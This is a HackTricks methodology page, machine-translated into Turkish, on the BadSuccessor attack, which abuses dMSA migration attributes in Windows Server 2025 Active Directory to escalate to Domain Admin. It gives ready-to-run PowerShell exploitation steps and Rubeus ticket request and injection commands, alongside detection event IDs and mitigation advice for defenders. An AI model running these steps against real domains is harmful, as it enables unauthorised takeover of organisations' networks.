hacktricks/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md

5.8 KiB
Raw Blame History

BadSuccessor: Delegeli MSA Göç İstismarı ile Yetki Yükseltme

{{#include ../../banners/hacktricks-training.md}}

Genel Bakış

Delegeli Yönetilen Hizmet Hesapları (dMSA), Windows Server 2025'te sunulan gMSA'nın bir sonraki nesil halefidir. Meşru bir göç iş akışı, yöneticilerin eski bir hesabı (kullanıcı, bilgisayar veya hizmet hesabı) dMSA ile değiştirirken izinleri şeffaf bir şekilde korumasına olanak tanır. İş akışı, Start-ADServiceAccountMigration ve Complete-ADServiceAccountMigration gibi PowerShell cmdlet'leri aracılığıyla açığa çıkar ve dMSA nesnesinin iki LDAP niteliğine dayanır:

  • msDS-ManagedAccountPrecededByLink DN bağlantısı ile geçersiz kılınan (eski) hesap.
  • msDS-DelegatedMSAState göç durumu (0 = yok, 1 = devam ediyor, 2 = tamamlandı).

Eğer bir saldırgan, bir OU içinde herhangi bir dMSA oluşturabilir ve bu 2 niteliği doğrudan manipüle edebilirse, LSASS ve KDC dMSA'yı bağlantılı hesabın halef olarak kabul eder. Saldırgan daha sonra dMSA olarak kimlik doğruladığında bağlantılı hesabın tüm ayrıcalıklarını devralır eğer Yönetici hesabı bağlantılıysa Domain Admin'e kadar.

Bu teknik, 2025'te Unit 42 tarafından BadSuccessor olarak adlandırılmıştır. Yazma anında hiçbir güvenlik yaması mevcut değildir; yalnızca OU izinlerinin güçlendirilmesi sorunu hafifletir.

Saldırı Ön Koşulları

  1. Bir Organizasyonel Birim (OU) içinde nesne oluşturmasına izin verilen bir hesap ve en az birine sahip olmalıdır:
  • Create ChildmsDS-DelegatedManagedServiceAccount nesne sınıfı
  • Create ChildAll Objects (genel oluşturma)
  1. LDAP & Kerberos'a (standart alan katılmış senaryo / uzaktan saldırı) ağ bağlantısı.

Savunmasız OUs'u Belirleme

Unit 42, her OU'nun güvenlik tanımlarını ayrıştıran ve gerekli ACE'leri vurgulayan bir PowerShell yardımcı betiği yayınladı:

Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

Arka planda, script (objectClass=organizationalUnit) için sayfalı bir LDAP araması yapar ve her nTSecurityDescriptor'ı kontrol eder.

  • ADS_RIGHT_DS_CREATE_CHILD (0x0001)
  • Active Directory Şeması ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8 (nesne sınıfı msDS-DelegatedManagedServiceAccount)

Sömürü Adımları

Yazılabilir bir OU belirlendikten sonra, saldırı sadece 3 LDAP yazım uzaklıktadır:

# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

Replike edildikten sonra, saldırgan basitçe attacker_dMSA$ olarak giriş yapabilir veya bir Kerberos TGT talep edebilir Windows, geçersiz kılınmış hesabın jetonunu oluşturacaktır.

Otomasyon

Bir dizi kamuya açık PoC, şifre alma ve bilet yönetimi dahil olmak üzere tüm iş akışını sarmaktadır:

Post-Exploitation

# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

Tespit ve Avlanma

OU'larda Nesne Denetimi'ni etkinleştirin ve aşağıdaki Windows Güvenlik Olaylarını izleyin:

  • 5137 dMSA nesnesinin oluşturulması
  • 5136 msDS-ManagedAccountPrecededByLink'in değiştirilmesi
  • 4662 Belirli nitelik değişiklikleri
  • GUID 2f5c138a-bd38-4016-88b4-0ec87cbb4919msDS-DelegatedMSAState
  • GUID a0945b2b-57a2-43bd-b327-4d112a4e8bd1msDS-ManagedAccountPrecededByLink
  • 2946 dMSA için TGT verilmesi

4662 (nitelik değişikliği), 4741 (bir bilgisayar/hizmet hesabının oluşturulması) ve 4624 (sonraki oturum açma) olaylarını ilişkilendirmek, BadSuccessor etkinliğini hızlı bir şekilde vurgular. XSIAM gibi XDR çözümleri, kullanıma hazır sorgularla birlikte gelir (bkz. referanslar).

Hafifletme

  • En az ayrıcalık ilkesini uygulayın yalnızca Hizmet Hesabı yönetimini güvenilir rollere devredin.
  • ıkça gerekmeyen OU'lardan Create Child / msDS-DelegatedManagedServiceAccount'ı kaldırın.
  • Yukarıda listelenen olay kimliklerini izleyin ve dMSA oluşturan veya düzenleyen non-Tier-0 kimlikleri konusunda uyarı verin.

Ayrıca bakınız

{{#ref}} golden-dmsa-gmsa.md {{#endref}}

Referanslar

{{#include ../../banners/hacktricks-training.md}}